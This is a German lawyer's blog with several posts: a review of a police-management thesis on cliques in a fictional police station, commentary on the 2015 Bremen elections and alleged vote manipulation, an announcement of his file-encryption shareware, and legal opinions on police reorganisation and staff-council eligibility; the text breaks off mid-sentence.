In diesem Beitrag möchte ich auf eine sehr interessante Untersuchung von Herrn Matthias Lerche hinweisen. Er hat in seiner Masterarbeit "Rekonstruktionslogische Analyse einer schwierigen Führungssituation unter Berücksichtigung organisationssoziologischer Erklärungsansätze / Wenn Seilschaften zum Absturz führen" im Studiengang "Öffentliche Verwaltung - Polizeimanagement" an der Deutschen Hochschule der Polizei in Münster 2012 einen der vielen "selbst erlebten schwierigen Führungsfälle" in seiner Polizeilaufbahn analysiert. Er benutzt dazu einen fiktiven Fall als eine "Kumulation von echten, selbst erlebten Führungssituationen, die in die Fiktion einer in dieser Form nicht real existierenden, bayerischen Polizeiinspektion projiziert wurde". Eine spannend zu lesende Studie, wenn der Autor z. B. schreibt: - "Eine Gruppe von besonders langjährigen Beamten, die sich auch privat gut verstanden, besetzte im Laufe der Zeit viele Schlüsselpositionen. [...] Großer Widerstand regte sich nicht, da jeder nach einer mehr oder weniger langen Dienstzeit in den Kreis der Nutznießer kommen und nach Pensionierung eines Kollegen in die Schlüsselposition nachrücken konnte" (Lerche a.a.O., S. 38 ). - "Ulrich, wie schon seine Vorgänger fachlich völlig unbedarft, zog sich komplett aus dem Führungsgeschäft zurück und überließ alle Entscheidungen seinem Vertreter Laurenz und der Gruppe der "Guglmänner", denen er sich regelrecht anbieterte" (Lerche a.a.O., S. 40). - "Diejenigen, die noch nicht dazugehören, versucht man mit mehr oder weniger stark ausgeprägtem Druck 'einzuordnen'. [...] Diejenigen, die sich widersetzen, werden mit allen Mitteln bekämpft" (Lerche a.a.O., S. 43). - "Auch die beiden neuen Beamten müssen so manche Schikane ertragen. Es kommt zu 'rätselhaften' Sachbeschädigungen an der Ausrüstung" (Lerche a.a.O., S. 47). Sehr bemerkenswert sind auch seine Ausführungen zum sogenannten "Luzifer-Effekt", zu dem er einleitend folgende Fragen stellt: "Waren also, wie man nach der bisherigen Fallanalyse meinen könnte, die [weiteren] Beamten der PI Alpin 'schlechte' Mitarbeiter, die die Situation schamlos für ihre Machenschaften ausnutzten oder dabei zuschauten? Oder waren die Reaktionen der Gruppe als Rollenbeschreibung der Mitarbeiter ein natürliches Verhalten, mit dem zu rechnen war?" (Lerche a.a.O., S. 88). Die Arbeit ist im Internet verfügbar unter http://www.dhpol.de/de/medien/downloads/hochschule/02/Masterarbeit _Lerche.pdf und auch als Band 4/2012 in der Schriftenreihe der DHPol erschienen (ISBN: 978-3-9814192-4-5). Diese Studie ist nicht nur für Polizeibeamte interessant, sondern meines Erachtens insbesondere auch für Richter, Staatsanwälte und Rechtsanwälte für deren forensische Tätigkeit. Ich freue mich außerordentlich, dass sich endlich jemand dieser Problematik öffentlich gestellt hat und wünsche Herrn Lerche alles Gute für seinen weiteren beruflichen Werdegang. Die Auseinandersetzung mit dieser Arbeit führte auch mich weit in meine eigene dienstliche Vergangenheit zurück. Solch ein fiktiver Fall kann sich überall dort entwickeln, wo schwache Führungsstrukturen herrschen, sei es im öffentlichen Dienst oder in der Privatwirtschaft. Die Darstellung des von Herrn Lerche gewählten fiktiven Falles halte ich allerdings noch für relativ harmlos, wenn man den wirtschaftlichen Schaden, den solche "Guglmänner" (zu diesem Begriff siehe Lerche a.a.O., S. 37, Fn. 116) anrichten, mal ausklammert. Beispielsweise könnten die "Guglmänner" nämlich zum Aufbau ihrer Macht auch zu folgenden weiteren Schritten bereit sein: - Unterhaltung und Förderung von Verbindungen zu politischen Gremien (die Studie des Herrn Lerche enthält leider keine Ausführungen zu einer evtl. politischen Zielrichtung dieser "Guglmänner", denkbar ist auch eine Steuerung dieser Gruppe durch politische Gremien von außen sowie die politische Einflussnahme durch die "Guglmänner" auf Untergeordnete). - Die "Guglmänner" agieren nicht nur annähernd 20 Jahre, sondern bereits über 40 Jahre. - Um nach außen hin dem Leistungsgrundsatz gerecht zu werden, wird die Dienstnummer eines leistungsstarken Beamten (aber ein "Stoppkind") mit der eines leistungsschwachen Beamten (aber ein "Ziehkind") getauscht, um so einen anstehenden Beförderungsvorschlag für eine wichtige Stelle dem Entscheidungsträger gegenüber anhand der geführten (Leistungs-) Statistiken zu begründen. - Vermeintliche (vorgetäuschte) Einbrüche bei den Gegnern zur konspirativen Installation von Microwanzen und Minikameras, um so wichtige Informationen zu bekommen, die unter Umständen nicht nur gezielt gegen die Gegner verwendet werden können. - Kopieren von verfassungsfeindlichem Material auf mobile Datenträger der Gegner (siehe hierzu nur den von mir bereits im Jahre 2001 dargestellten fiktiven Fall "Mobbing oder mehr ..." auf meiner Homepage unter www.andre-helmke.de und dort unter "Interessante Fälle"). - Kopieren von kinderpornografischem Material auf die Festplatten der Gegner, um so die Strafverfolgungsbehörden zum Handeln zu bewegen (siehe zuvor): allein die bloße Existenz eines solchen Ermittlungsverfahrens reicht erfahrungsgemäß, um die Gegner zu schädigen. - Beauftragung eines Schlägertrupps, um so die Gegner einzuschüchtern. - usw. Bevor solche Ausmaße entstehen, muss eine derartige Mikropolitik mit dem Ziel des Machtaufbaus bereits im Ansatz mit allen rechtlichen Mitteln bekämpft werden. Dazu verweise ich auf die in meiner Dissertation "Der polizeiliche Platzverweis im Rechtsstaat" beschriebenen Ausführungen zur sogenannten "Broken-Windows-Theorie" (Helmke a.a.O., S. 23, 110). Zwar haben auch die Autoren Barthel/Heidemann das bereits seit vielen Jahren latent bestehende Problem erkannt, wenn sie in ihrem Blog wie folgt ausführen: "Unsere Grundannahme lautet vielmehr: Die entscheidende Herausforderung für die Führungskräfte heute ist der Umgang mit organisationaler Komplexität, eigensinnigen Teil- und Bereichskulturen sowie Mitarbeitern bzw. Akteuren, die als versierte Machtspieler und kluge Beobachter mit persönlichen Interessen auftreten" (Barthel/Heidemann, KFS 2.0 - ein Vorschlag zur zeitgemßen Neuformulierung des Kooperativen Führungssystems, http://blog.dhpol.de/?page_id=21). Ich glaube aber kaum, dass dieses von Lerche beschriebene Problem mit dem von Barthel/Heidemann vorgeschlagenen KFS 2.0 (kooperativer Führungsstil in der Version 2.0) gelöst werden kann. Vielmehr bedarf es meines Erachtens eines konsequenten Vorgehens gegen solche zum Teil kriminelle Persönlichkeiten mit allen rechtlichen Mitteln (disziplinarechtlich, strafrechtlich, arbeitsrechtlich und ggf. auch zivilrechtlich). Außerdem sollte das sogenannte Rotationsprinzip auf allen Führungsebenen eingeführt werden, damit solche "Guglmänner" bei ihren Machenschaften der Macht regelmäßig gestört werden. Des Weiteren empfehle ich die Auflösung kleinerer Dienststellen. Ansonsten besteht in der Tat die Gefahr, dass die Seilschaften die Behörden bzw. die Unternehmen in den "Absturz" führen. Nach alledem werde ich meinen autobiografischen Roman noch einmal überarbeiten bzw. ein wenig abschwächen, bevor er noch "aus Versehen" zuvor unzensiert veröffentlicht wird. Ab sofort kann die Version 1.01 meines autobiografischen Romans "Justitia21 - Lebenswerk && Lebensenergie || warum ich Anwalt geworden bin ..." auf meiner Homepage als E-Book-Ausgabe unter "Interessante Fälle" gedownloadet werden. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Wahlergebnis Bremen und Bremerhaven 2015 | 2 | 26.05.2015 - 15:16:26 | 28.12.2015 - 15:01:57 |
Das Ergebnis der Wahlen im Lande Bremen sowie in den Stadtgemeinden Bremen und Bremerhaven betrachte ich mit einem lachenden und einem weinenden Auge. Erfreulich ist für mich, dass die deutlichen Stimmenverluste der politischen Klasse hier erkennen lassen, dass die Wähler sich eine – längst überfällige - Veränderung gewünscht haben. Trotzdem macht Rot-Grün auf Landesebene weiter. Dies stößt bei mir auf Unverständnis. Angesichts der knappen Mehrheitsverhältnisse und der anstehenden Schuldenbremse glaube ich kaum, dass eine rot-grüne Koalition die gesamte nächste Wahlperiode überstehen wird. Auf Landesebene hätte ich mir daher eine große Koalition gewünscht, die aufgrund der mangelnden Wahlbeteiligung (für mich als Zeichen eines dramatischen Vertrauensverlustes, vielleicht aber auch aufgrund des Frustes großer Teile der Bevölkerung wegen der finanziellen Überlastung des Landes Bremens) Kontakt mit der Bundesregierung (ebenfalls große Koalition!) aufnimmt, um endlich die Bundesländer zumindest hier im Norden neu zu regeln. ![]() Bremerhaven und Bremen würden sich auch gut als kreisfreie Städte in Niedersachsen machen. Cuxhaven und Bremerhaven könnten sich dann partnerschaftlich um den Tourismis hier im Norden kümmern. ![]() Fest steht bislang: in Bremerhaven hat die seit 2011 regierende rot-grüne Koalition seit der Wahl 2015 keine Mehrheit mehr. Als wahrscheinlich gilt nun die Bildung einer großen Koalition aus SPD und CDU. Bei einer großen Koalition hier in Bremerhaven werde ich ein besonderes Auge auf die CDU werfen: sie hat vor der Wahl deutlich signalisieren lassen, die Direktwahl des Oberbürgermeisters auch hier in Bremerhaven einführen zu wollen. Besonders erfreulich ist für mich, wie das neue Wahlrecht weiterhin gut funktioniert. Wieder sind von den Parteien zum Teil schlecht platzierte Kandidaten auf den Wahllisten durch persönliche Wählerstimmen nach vorn gerückt und gelangten so in die Bürgerschaft bzw. in die Stadtverordnetenversammlung von Bremerhaven. Fraglich ist aber, ob das Wahlergebnis so bestehen bleibt: Die AfD will bekanntlich Einspruch gegen beide Wahlen einlegen (NZ vom 23.05.2015, Seite 11), weil ihr lediglich ein paar Stimmen fehlen, um auch über Bremerhaven die 5-%-Hürde zum Einzug in die Bremische Bürgerschaft zu meistern. Fehler bei einer Wahlauszählung können zwar immer passieren. Die AfD begründet hier aber ihre geplante Wahlanfechtung mit einem Vorfall, der auch strafrechtlich zu untersuchen sein wird. Ein 18-jähriger Bremerhavener Schüler schenkte angeblich den Piraten 45 Stimmen (NZ vom 23.05.2015, Seite 1). Bei einer Überprüfung des Wahlbezirks Lutherschule wurde von den Schülern im Lloyd Gymnasium anstatt 268 plötzlich 277 Stimmzettel gezählt. Daraufhin habe angeblich der 18-jährige die nicht abgegebenen Stimmen (45 für die Piraten) in das Computersystem eingegeben. Wie kann es angehen, dass ein Schüler unkontrolliert einen solchen Zugriff auf ein Wahl-Computersystem erhalten hat? ![]() Hatten auch noch andere Personen die Möglichkeit, allein und unkontrolliert Daten in das Wahl-Computersystem einzugeben? ![]() Ich habe daher vollstes Verständnis dafür, wenn die AfD nun eine Nachzählung der gesamten Wahlen fordert. Die Staatsanwaltschaft ermittelt wegen Wahlfälschung: gemäß § 107a Abs. 1 StGB wird mit einer Freiheitsstrafe bis zu fünf Jahren oder mit Geldstrafe bestraft, wer unbefugt wählt oder sonst ein unrichtiges Ergebnis einer Wahl herbeiführt oder das Ergebnis verfälscht. Die Wahlfälschung, auch als Wahlbetrug bezeichnet, ist die bewusste Manipulation einer Wahl entgegen demokratischen Prinzipien, um das Wahlergebnis zu Gunsten oder Ungunsten einer Partei bzw. der Wahl als solche zu verändern (siehe http://de.wikipedia.org/wiki/Wahlfälschung). Geständnisse sind übrigens ein bestimmender Strafzumessungsgrund gemäß § 46 StGB in Verbindung mit § 267 Abs. 3 Satz 1 StPO (siehe nur BGH, Beschluss vom 13. November 1997, Az. 4 StR 539/97, StV 1998, 481). Einem Geständnis kann eine strafmildernde Bedeutung nur abgesprochen werden, wenn es ersichtlich nicht aus einem echten Reue- und Schuldgefühl heraus abgegeben worden ist, sondern auf "erdrückenden Beweisen" beruht (BGH, Urteil vom 28. August 1997, Az. 4 StR 240/97, BGHSt 43, 195, 209 Beschluss vom 3. Dezember 1998, Az. 4 StR 606/98, DAR 1999, 195 f.). Im Jahre 2007 hatten bereits die "Bürger in Wut" Einspruch gegen die Wahl eingelegt. Ihnen fehlte damals lediglich eine einzige Stimme für einen Sitz in der Bürgerschaft. Ein Jahr später bekamen sie recht, weil die bereits ausgezählten Stimmen der Eckernfelder unversiegelt in einem Rucksack in das Wahlamt transportiert worden waren. 1311 Frauen und Männer dürfen deshalb im Sommer 2008 erneut wählen. Vor einem Jahr kam es in Köln zu einem Wahlkrimmi. Nach Auszählung aller Wahlzettel stand fest, dass es gerade noch einmal knapp für Rot-Grün gereicht hatte. Einen Monat danach erhob die CDU Einspruch gegen die Wahl mit der Begründung, im Briefwahlbezirk 20874 (Rodenkirchen) gebe es statistische ![]() vom 23.05.2015, Seite 10). Der Wahlprüfungsausschuss lehnte eine Neuauszählung mit den Stimmen von SPD, Grünen und Linkspartei ab. Der CDU wurde vorgehalten, sie würde mit ihrer Kampagne, die nicht nur die CDU allein betrieb, die Glaubwürdigkeit des Kommunalwahlergebnisses erschüttern und in Teilen der Bevölkerung zu einer Vertrauenskrise geführt haben (FAZ a.a.O.). Mit der Unterstützung der Grünen wurden dann aber doch alle insgesamt 1024 Stimmbezirke noch einmal ausgezählt. Das Ergebnis stand erst am 19.05.2015 fest: bereits das Gericht entdeckte in dem Briefwahlbezirk Rodenkirchen "bedeutsame Fehler". Es spreche vieles dafür, dass die Ergebnisse der Kandidaten von CDU und SPD vertauscht worden seien, so das Gericht (FAZ vom 21.05.2015, Seite 4). Dies bestätigte dann auch die erneute öffentliche Auszählung am 19.05.2015. ![]() rot-grüne Ratsmehrheit in Köln nun dahin. Die Hürden für eine Neuauszählung aller Stimmbezirke sind nach allgemeiner Rechtsauffassung sehr hoch. Es reicht nicht aus, lediglich mit bloßen Vermutungen ins Blaue hinein zu behaupten, es habe Wahlmanipulationen gegeben. Erforderlich sind vielmehr das Hinzutreten besonderer, konkreter Umstände. Solche könnte man meines Erachtens hier wie folgt begründen: - Eingabe von 45 nicht abgegebenen Stimmen in das Computersystem für die Piraten durch einen 18-jährigen Schüler (NZ vom 23.05.2015, Seite 1). - Kärung der Frage, wie es angehen kann, dass ein Schüler unkontrolliert einen solchen Zugriff auf ein Wahl-Computersystem erhalten hat? - Klärung der Frage, inwieweit noch andere Personen die Möglichkeit hatten, das Wahl-Computersystem allein und unkontrolliert zu bedienen? - Seltsam ist für mich auch der Stromausfall am Wahlabend beim Wahlleiter (FAZ vom 15.05.2015, Seite 4), der ebenfalls genauer untersucht werden müsste. - Klärung der Bedeutung der falsch formatierten Datensätze auf das Wahlergebnis? (FAZ vom 15.05.2015, Seite 4) Ich denke schon, dass man das Gericht mit diesen Indizien davon überzeugen kann, dass hier eine Neuauszählung der gesamten Wahlen erforderlich ist. Zumindest werden sie aber reichen, um das Gericht zu weiteren Ermittlungen von Amts wegen zu veranlassen. Vielleicht kommt es ja auch hier in Bremerhaven und Bremen zu einem Wahlkrimi wie in Köln! ![]() http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Crypt - Dateiverschlüsselungsprogramm | 0 | 27.01.2015 - 17:43:56 | 28.12.2015 - 14:58:59 |
Am 27.01.2015 habe ich die erste Sharewareversion von AH-Crypt, einem Dateiverschlüsselungsprogramm, im Internet auf meiner Homepage unter www.andre-helmke.de veröffentlicht. Das Programm kann dort unter "Downloads" heruntergeladen werden. Vertrauen ist die wichtigste Basis in der Zusammenarbeit zwischen Mandant und Rechtsanwalt. Seit vielen Jahren werden daher Mandantendaten auf meinen Kanzleicomputern verschlüsselt gespeichert. Dazu benutze ich einen geeigneten Verschlüsselungsalgorithmus (Encryption). In meiner beruflichen Praxis wird aber von meinen Mandanten/innen zunehmend die Kommunikation über das Internet gewünscht. Dies ist bekanntlich nicht unproblematisch; denn wer E-Mails im Internet als Kommunikationskanal für vertrauliche Informationen nutzen will, muss sich schützen. Informationen in einer nicht verschlüsselten E-Mail sind nur so sicher, wie die Mitteilungen auf einer gewöhnlichen Postkarte: jeder, der sie in die Hand bekommt, kann den Inhalt problemlos lesen, also auch die vertraulichen Informationen zwischen Mandant/in und dem Rechtsanwalt. Umso erstaunlicher ist es, dass sich bis vor Kurzem nur die wenigsten Menschen Gedanken darüber machten, wie es um die Sicherheit der E-Mail-Kommunikation bestellt ist. Seit der Snowden-Affäre steigt aber das Bewusstsein für diese Probleme. Bereits seit vielen Jahren beschäftige ich mich mit Verschlüsselungstechniken und habe darüber auch bereits ein Skriptum "Zugangssicherung und Digitale Signatur mit Smartcards" auf meiner Homepage auf www.andre-helmke.de unter "Recht" veröffentlicht. Bei der Entwicklung meines Experten-System-Shell-Projektes ESSP (siehe dazu auf www.andre-helmke.de unter "Projekte") und dem juristischen Expertensystem Justitia21 (siehe unter www.justitia21.de) habe ich mich in den letzten Jahren zunehmend auch mit der grafischen Windowsprogrammierung (GUI) befassen müssen. Dabei habe ich die Idee gehabt, ein Dateiverschlüsselungsprogramm für die Anhänge einer E-Mail zu entwickeln. Mir ist schon klar, dass der Bedarf nach geheimer Kommunikation nicht neu ist. Bereits Julius Caesar benutze schon einen Kode, der einfach alle Romanischen Buchstaben im Originaltext durch den drei Positionen weiter vorne im Alphabet liegenden Buchstaben ersetzte. Ich habe aber zunehmend den Eindruck, dass Kryptologie heutzutage wichtiger ist als alles andere ![]() Für meine Mandanten besteht daher mit diesem Programm ab sofort die Möglichkeit, die Dateianhänge einer E-Mail (z. B. während eines laufenden Mandates die Stellungnahmen des Mandanten in einer Textdatei, aber auch die Beweisfotos u. a.) zu verschlüsseln. Das bedeutet, der Mandant verschlüsselt die Dateianhänge komplett mit auf seinem Rechner und schickt sie dann über das Internet und über seinen Provider an mich. Ich entschlüssele dann mithilfe des vereinbarten Passwortes, das ich ebenfalls auf einem sicheren Weg bekommen habe, die empfangenen Dateianhänge auf meinem System. Die Dateianhänge der E-Mail wären somit also zu keinem Zeitpunkt der Übertragung nicht verschlüsselt und somit auch nicht einsehbar ![]() Postkarte gelesen werden. Aber darin befinden sich auch keinerlei vertrauliche Informationen, sondern lediglich der Hinweis des Mandanten, dass die Dateianhänge mit dem vereinbarten Passwort verschlüsselt worden sind. Damit auch eine Entschlüsselung der verschlüsselten Dateien möglich ist, müssen Rechtsanwalt und Mandant ein gemeinsames Passwort vereinbaren. Dies kann bereits bei der Mandatserteilung persönlich ausgetauscht werden oder aber später über einen sicheren Weg übermittelt werden. Aufgrund der Möglichkeit, sich bei Justitia21 als Basis-Benutzer(1) anzumelden, kann auch das vom System automatisch generierte Passwort vom Mandanten und mir für die Verschlüsselung der Dateianhänge einer E-Mail genutzt werden. Dazu muss sich der Mandant lediglich als Basis-Benutzer bei Justitia21 registrieren und in seiner E-Mail an mich darauf hinweisen, dass er die Dateianhänge mit dem Passwort seines Benutzerzugangs bei Justitia21 als Basis-Benutzer (gern auch als Premium-Benutzer) verschlüsselt hat. Ergänzend muss er in der E-Mail nur noch die von ihm bei Justitia21 hinterlegte E-Mail-Adresse (bei Basis-Benutzern) oder den Benutzernamen (bei Premium-Benutzern) angeben, damit ich für die Entschlüsselung sein Benutzerpasswort dort abfragen kann. (1) Für die Registrierung bei Justitia21 als Basis-Benutzer entstehen keine Lizenzgebühren! Einzelheiten entnehmen Sie bitte den Ausführungen auf www.justitia21.de und dort unter "Anmelden". http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Landespolizei? JA! Na klar! | 4 | 27.08.2015 - 17:13:37 | 07.10.2015 - 11:11:16 |
Aktuell wird insbesondere von der Gewerkschaft der Polizei (Kreisgruppe Bremerhaven) versucht, das Vorhaben der Rot-Grünen Landesregierung in Bremen zu kippen, die Ortspolizeibehörde in Bremerhaven in eine Landespolizei zu überführen (NZ vom 14.08.2015, Seite 18). Es wird damit argumentiert, dass bislang nicht nachgewiesen worden sei, dass damit auch wirklich Doppelstrukturen abgebaut und Einspar-Effekte erzielt werden (NZ a.a.O.). Es wird sogar vom Bremerhavener GdP-Chef gemutmaßt, dass in Bremerhaven Personal abgezogen werden würde, um "die Löcher in Bremen zu stopfen" (NZ a.a.O.). Daher wehrt sich die GdP nun mit einem Bürgerbegehren gegen die Überführung der Ortspolizeibehörde in die Landespolizei (NZ a.a.O.). Ich halte diese Argumentation für sehr einseitig und populistisch. Zunächst ist daran zu erinnern, dass es hierbei um sehr viel Geld für Bremerhaven geht: die Landesregierung hat angeboten, Polizei und Lehrer in eigener Regie zu übernehmen und die Stadt dafür im Gegenzug von Personalkosten und Pensionszahlungen in Höhe von 27 Millionen Euro jährlich zu entlasten (NZ vom 18.08.2015, Seite 9). Bremerhaven kann dieses Geld sehr gut gebrauchen, um den Sanierungspfad einzuhalten. Außerdem glaube ich schon, dass mit der geplanten Verschmelzung (siehe § 29 Abs. 3 BremBG) zu einer Landespolizei der eine oder andere Führungsposten hier in Bremerhaven eingespart werden kann. Darüber hinaus wird meines Erachtens mit der Überführung der Ortspolizeibehörde in eine Landespolizei eine flexiblere und damit noch bessere Polizei hier in Bremerhaven geschaffen. Bei der Ortspolizeibehörde handelt es sich derzeit um eine sehr "übersichtliche" Behörde. Als eigenständige Polizeibehörde ist Bremerhaven personell und materiell ziemlich begrenzt im Verhältnis zu allen anderen Polizeibehörden bundesweit. Ich habe daher Zweifel, dass die Ortspolizeibehörde von ihrer derzeitigen personellen und materiellen Ausstattung her den Aufgaben in der Zukunft gewachsen sein wird. Eine Landespolizei könnte mit ihrer Personalstärke durch einen flexiblen Personaleinsatz Schwerpunkte setzen. Eine unterschiedliche Arbeitsbelastung der Polizeibeamten/Innen in Bremen und Bremerhaven könnte so besser ausgeglichen werden. Deshalb verstehe ich auch die folgende Argumentation des Bremerhavener GdP-Chefs nicht: er äußerte gegenüber der NZ, dass die Bremerhavener Polizei "nicht mehr in der Lage [ist], Ermittlungsgruppen durchgehend zu besetzen. Das alles ist sehr alarmierend." (NZ vom 14.08.2015, Seite 18) Unter diesen Umständen müsste die GdP in Bremerhaven doch erst recht für eine Landespolizei sein, damit die Polizei in Bremerhaven in derartigen Fällen Personal aus Bremen anfordern kann. Die derzeitige Kontruktion von zwei selbständigen Polizeibehörden im Lande Bremen lässt dies aber nicht so leicht zu. Für die Bewältigung von Aufgaben stehen dem Dienstherren die personellen Instrumente der Versetzung, Abordnung und Umsetzung zur Verfügung. Grundsätzlich ist die Personalhoheit des Dienstherren jeweils auf das Land bzw. auf die Gemeinde beschränkt. Für die Schutz- und Kriminalpolizei ist dies in Bremen die Stadtgemeinde Bremen und in Bremerhaven die Stadtgemeinde Bremerhaven. Derzeit existieren im Lande Bremen also zwei Dienstherren. Oberste Dienstbehörde für die Polizeibeamten/Innen der Stadtgemeinde Bremen ist der Senat der Freien Hansestadt Bremen und für die der Stadtgemeinde Bremerhaven der Magistrat der Stadt Bremerhaven (siehe § 3 Abs. 1 Satz 2 BremBG). Möchte der jeweilige Dienstherr Kriminalitätsschwerpunkte bekämpfen, so kann er derzeit die personellen Instrumente der Versetzung, Abordnung und Umsetzung grundsätzlich nur innerhalb seines Gemeindebezirks anwenden. Im Falle einer Landespolizei gäbe es nur einen Dienstherren, nämlich das Land Bremen. Oberste Dienstbehörde wäre dann für alle Polizeibeamten/Innen der Senat der Freien Hansestadt Bremen. Der Senat könnte so die personellen Instrumente, je nach Kriminalitätsschwerpunkt, in Bremerhaven und Bremen städteübergreifend einsetzen. Eine Landespolizei wäre also eine viel größere Polizeibehörde und könnte auf zukünftige Lagen viel flexibler reagieren. Daher wünsche ich mir als Bürger von Bremerhaven die Landespolizei, damit unsere Polizei flexibler und damit noch besser wird. ![]() http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Personalchef in den Personalrat wählbar? | 0 | 20.08.2013 - 15:20:29 | 21.08.2015 - 11:05:31 |
Am 27.07.2012 hat das Verwaltungsgericht Bremen (Az. P K 449/12.PVL) entscheiden, dass im Lande Bremen solche Beamte für den Personalrat wählbar sind, die (seit vielen Jahren) Entscheidungen in Personalangelegenheiten der Dienststelle (lediglich) vorbereiten. Das gleiche gelte nach Auffassung des zuständigen Richters auch für Beamte, die bei Beurteilungen lediglich mitwirken. Hier hatte der Beamte ein Stimmrecht in einer Beurteilungs- und Auswahlkommission. Dieser Kommission gehörten mehrere Personen an, sodass der Beamte nie allein entscheiden konnte. Außerdem machte diese Kommission sowohl bei Beurteilungen als auch bei Auswahlent- scheidungen nur Vorschläge für den Magistrat, traf aber nicht selbst die Entscheidungen. Der zuständige Richter gestand zwar den Antragstellern zu, dass in der Regel solche Beurteilungs- und Auswahlempfehlungen als faktische (sic.!) Vorentscheidungen in Personalangelegenheiten angesehen werden können. Rechtlich bleiben sie nach Auffassung des Gerichts aber nur Vorschläge. Bereits hierzu hätte das Gericht meines Erachtens zunächst die Tatsache stärker gewichten müssen, wonach dienstliche Beurteilungen das hauptsächliche Instrument sind, mit dem der Dienstherr ein Werturteil über Eignung, Befähigung und fachliche Leistung eines Beamten trifft. Ihr maßgeblicher Zweck besteht darin, Grundlage für eine zwischen konkurrierenden Beamten zu treffende Auswahlentscheidung anhand der Kriterien der Bestenauslese des Art. 33 Abs. 2 GG zu sein (vgl. BVerwG, Urteil vom 26. September 2012, Az. 2 A 2.10, juris, Rn. 9 Beschluss des Senats vom 19. Dezember 2012, Az. 1 A 7/11, juris, Rn. 5 = NRWE VGH Baden-Württemberg, Urteil vom 31. Juli 2012, Az. 4 S 575/12, juris, Rn. 27). Unberücksichtigt ließ der Richter die Einlassung des Beamten, wonach er die Freistellung als gewählter Personalrat angestrebt hatte. Eine derartige Freistellung eines Mitglieds der Personalvertretung dient der Herstellung der intellektuellen Waffengleichheit zwischen Dienstherrn und der Interessenvertretung der Beschäftigen. Ich habe vollstes Verständnis dafür, wenn sich diverse Gewerk- schaftsmitglieder die Frage gestellt haben, ob ein Personalchef überhaupt in den Personalrat gewählt werden darf? Schließlich haben zur Beantwortung dieser Frage die Deutsche Polizeigewerkschaft im DBB (DPolG) und der Bund Deutscher Kriminalbeamter (BDK) in dem Verfahren P K 449/12.PVL vor dem Verwaltungsgericht Bremen die Wahlen zum Personalrat des Bürger- und Ordnungsamtes/Ortspolizeibehörde Bremerhaven und zum Gesamtpersonalrat Bremerhaven vom März 2012 angefochten. Es gibt gute Gründe dafür, Führungskräfte auf Arbeitgeberseite als Bewerber für Mandate in Personalräte gar nicht erst zur Wahl zuzulassen. Sonst kann es nämlich passieren, dass bei einer späteren Wahl der Personalchef sich selbst auf die Finger klopfen müsste. Dass dies nicht sein kann, hat auch schon lange zuvor der Gesetzgeber erkannt und deshalb wurde § 10 Abs. 4 BremPersVG geschaffen. Vergleichbare Vorschriften findet man in den anderen Ländern und auch auf Bundesebene. Gemäß § 10 Abs. 4 BremPersVG sind nicht für den Personalrat wählbar der Leiter der Dienststelle, sein ständiger Vertreter, die Mitglieder des für die Leitung der Dienststelle zuständigen Organs sowie Bedienstete, die zu selbständigen Entscheidungen in Personalangelegenheiten der Dienststelle befugt sind. Problematisch war in diesem Falle, inwieweit der Beamte zu selbständigen Entscheidungen in Personalangelegenheiten der Dienststelle im Sinne des § 10 Abs. 4 BremPersVG befugt war. Zu diesen Entscheidungen sind nicht sämtliche Personalmaßnahmen zu zählen, sondern nur solche, welche die dienstrechtliche Stellung der Beschäftigen betreffen und in ihren Status unmittelbar eingreifen (VG Bremen a.a.O. m.w.N.). Es handelt sich dabei im Wesentlichen um die in § 65 BremPersVG ausdrücklich bezeichneten personellen Angelegenheiten. Beschäftigte, die zu anderen personellen Maßnahmen befugt sind, etwa zur Abgabe dienstlicher Beurteilungen oder zur Erteilung von Urlaub und Dienstbefreiung, sind in den Personalrat ihrer Dienststelle wählbar (BVerwG, Beschluss vom 11.03.1982, Az. 6 P 8/80, PersV 1983, 405 VG Bremen a.a.O. m.w.N.). Steht nach Auffassung des Bundesverwaltungsgerichts (BverwG a.a.O.) fest, dass einem Beschäftigten solche Aufgaben zukommen, so muss ausgeschlossen werden, dass er sich als Personalratsmitglied selbst kontrolliert. Deswegen entzieht ihm auf Bundesebene § 14 Abs. 3 BPersVG und im Lande Bremen § 10 Abs. 4 BremPersVG das passive Wahlrecht. Die dafür maßgebliche Interessenkollision besteht nach Auffassung des Bundesverwaltungsgerichts (BverwG a.a.O.) unabhängig davon, ob die fragliche Kompetenz in einem dienststelleninternen Regelwerk oder sonst schriftlich fixiert ist. "Es wäre sachwidriger Formalismus, wollte man die tatsächlich bestehende Interessenkollision deswegen ignorieren, weil die dauerhaft und regelmäßig praktizierte Entscheidungskompetenz keinen schriftlichen Niederschlag gefunden hat" (BVerwG a.a.O.). Ein wesentliches Merkmal einer selbständigen Entscheidungsbefugnis in solchen personellen Angelegenheiten, die in § 65 BremPersVG ausdrücklich genannt sind, ist, dass die Entscheidungen verantwortlich und unabhängig von Weisungen getroffen werden. Dieses ist nach Auffassung des Verwaltungsgerichts Bremen nicht der Fall, wenn Personalentscheidungen nur vorzubereiten sind (VG Bremen a.a.O.). Der Beamte hatte sich selbst dazu eingelassen und erklärt, dass er keine eigene Entscheidungskompetenz habe, sondern diese Vorlagen abschließend vom Dienstherrn entschieden würden. Die Gewerk- schaften haben vor Gericht vergebens damit gegenargumentiert, dass der Dienstherr noch nie gegen die Vorschläge dieses Personalchefs entschieden habe. Das Verwaltungsgericht hat sich leider ausschließlich am Wortlaut des Gesetzes orientiert und ist deshalb zu dem Ergebnis gekommen, dass dieser Beamte sich hat wählen lassen dürfen, weil das Gesetz seine Funktion ausdrücklich nicht nennt. Schließlich führt nach Auffassung des Richters auch nicht weiter, dass die Disziplinarkammer des VG Bremen mit Beschluss vom 03.04.2012 (Az. DK 303/11) festgestellt hatte, dass dieser Beamte als ehrenamtlicher Richter bzw. Beamtenbeisitzer von dem Disziplinarklageverfahren gegen einen Bremerhavener Polizeibeamten ausgeschlossen war. Zwar hatte die Disziplinarkammer in diesem Beschluss ausgeführt, dass der Beamte Entscheidungen in personellen Angelegenheiten eines Beamten treffen könne. Das war generell auch richtig, traf allerdings nicht auf Statussachen zu. Die Disziplinarkammer musste sich in dieser Entscheidung nicht näher mit den Entscheidungsbefugnisses dieses Beamten in Personalangelegenheiten auseinandersetzen, weil ein Beamtenbeisitzer nach § 47 Abs. 1 Nr. 6 Bremisches Disziplinargesetz (BremDG) bereits dann kraft Gesetzes als Richter im Disziplinarklageverfahren ausgeschlossen ist, wenn er Dienstvorgesetzter des Beamten ist oder bei einem Dienstvorgesetzten mit der 